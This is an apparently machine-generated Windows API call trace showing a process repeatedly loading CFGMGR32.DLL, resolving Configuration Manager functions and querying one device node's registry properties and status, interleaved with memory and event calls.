GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.036] malloc (_Size=0x18) returned 0x196ef0d1f60 [0206.036] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0206.036] malloc (_Size=0x5a) returned 0x196ef0d0370 [0206.036] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0206.037] free (_Block=0x196ef0d0370) [0206.037] malloc (_Size=0x48) returned 0x196ef0fbc20 [0206.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5ba8e973, dwHighDateTime=0x1d9eb0c)) [0206.037] SetEvent (hEvent=0x248) returned 1 [0206.039] malloc (_Size=0x18) returned 0x196ef0d1e60 [0206.039] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.039] free (_Block=0x196ef0d1e60) [0206.039] malloc (_Size=0x18) returned 0x196ef0d2080 [0206.039] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.039] free (_Block=0x196ef0d2080) [0206.040] malloc (_Size=0x18) returned 0x196ef0d1da0 [0206.040] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0206.040] free (_Block=0x196ef0d1da0) [0206.040] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856960 [0206.040] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.040] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0206.040] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0206.040] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0206.040] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.040] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0206.040] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0206.040] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0206.041] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e970, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.041] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e978, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.041] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e980, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.042] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0206.042] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856960) returned 1 [0206.042] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.042] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.045] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0206.046] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0206.046] malloc (_Size=0x48) returned 0x196ef0fbc20 [0206.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5bab4b0b, dwHighDateTime=0x1d9eb0c)) [0206.046] SetEvent (hEvent=0x248) returned 1 [0206.112] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.112] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.115] malloc (_Size=0x18) returned 0x196ef0d20a0 [0206.115] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.119] malloc (_Size=0x48) returned 0x196ef0fbcc0 [0206.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bb51e00, dwHighDateTime=0x1d9eb0c)) [0206.119] SetEvent (hEvent=0x248) returned 1 [0206.123] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.123] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.126] malloc (_Size=0x18) returned 0x196ef0d20c0 [0206.126] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.126] malloc (_Size=0x48) returned 0x196ef0fbcc0 [0206.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bb76984, dwHighDateTime=0x1d9eb0c)) [0206.127] SetEvent (hEvent=0x248) returned 1 [0206.129] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.130] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.133] malloc (_Size=0x18) returned 0x196ef0d1a20 [0206.133] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.134] malloc (_Size=0x48) returned 0x196ef0fb310 [0206.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bb76984, dwHighDateTime=0x1d9eb0c)) [0206.134] SetEvent (hEvent=0x248) returned 1 [0206.137] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.137] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.140] malloc (_Size=0x18) returned 0x196ef0d1f20 [0206.140] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.140] malloc (_Size=0x48) returned 0x196ef0fb630 [0206.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bb9d7e4, dwHighDateTime=0x1d9eb0c)) [0206.141] SetEvent (hEvent=0x248) returned 1 [0206.145] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.146] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.149] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0206.149] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.264] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0206.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bccab50, dwHighDateTime=0x1d9eb0c)) [0206.264] SetEvent (hEvent=0x248) returned 1 [0206.268] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.268] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.272] malloc (_Size=0x18) returned 0x196ef0d1960 [0206.272] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0206.272] malloc (_Size=0x48) returned 0x196ef0fb860 [0206.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5bccab50, dwHighDateTime=0x1d9eb0c)) [0206.272] SetEvent (hEvent=0x248) returned 1 [0206.277] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.277] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 